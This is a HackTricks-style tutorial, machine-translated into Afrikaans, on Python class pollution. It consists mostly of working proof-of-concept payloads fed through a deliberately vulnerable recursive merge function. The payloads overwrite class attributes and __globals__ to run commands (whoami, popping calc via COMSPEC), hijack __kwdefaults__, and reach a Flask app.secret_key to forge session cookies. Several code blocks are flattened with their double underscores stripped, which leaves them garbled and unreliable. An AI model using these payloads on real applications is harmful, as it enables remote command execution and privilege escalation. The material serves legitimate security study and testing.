Class Pollution (Python's Prototype Pollution)
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Kyk hoe dit moontlik is om klasse van objekten met strings te besoedel:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0># Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
</details>
<details>
<summary>Besmetting van ander klasse en globale veranderlikes deur <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Oorskrywing van <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** is 'n spesiale attribuut van alle funksies, gebaseer op Python [dokumentasie](https://docs.python.org/3/library/inspect.html), dit is 'n “kaart van enige standaardwaardes vir **sleutelwoord-slegs** parameters”. Besoedeling van hierdie attribuut stel ons in staat om die standaardwaardes van sleutelwoord-slegs parameters van 'n funksie te beheer, dit is die funksie se parameters wat na \* of \*args kom.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> PollutedSo, as jy 'n klasbesoedeling oor 'n objek wat in die hoof python-lêer van die web gedefinieer is kan doen, maar waarvan die klas in 'n ander lêer gedefinieer is as die hoof een. Want om toegang te verkry tot __globals__ in die vorige payloads, moet jy toegang verkry tot die klas van die objek of metodes van die klas, sal jy in staat wees om die globals in daardie lêer te bekom, maar nie in die hoof een nie. Daarom, jy sal nie in staat wees om toegang te verkry tot die Flask app globale objek wat die geheime sleutel op die hoofblad gedefinieer het:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'In hierdie scenario het jy 'n toestel nodig om lêers te deurkruis om by die hoof een te kom om toegang te verkry tot die globale objek app.secret_key om die Flask geheime sleutel te verander en in staat te wees om privileges te verhoog deur hierdie sleutel te ken.
'n Laai soos hierdie uit hierdie skrywe:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_keyGebruik hierdie payload om app.secret_key (die naam in jou app mag anders wees) te verander om nuwe en meer bevoegdheid flask koekies te kan teken.
Kyk ook na die volgende bladsy vir meer leesbare gadgets:
Python Internal Read GadgetsKyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
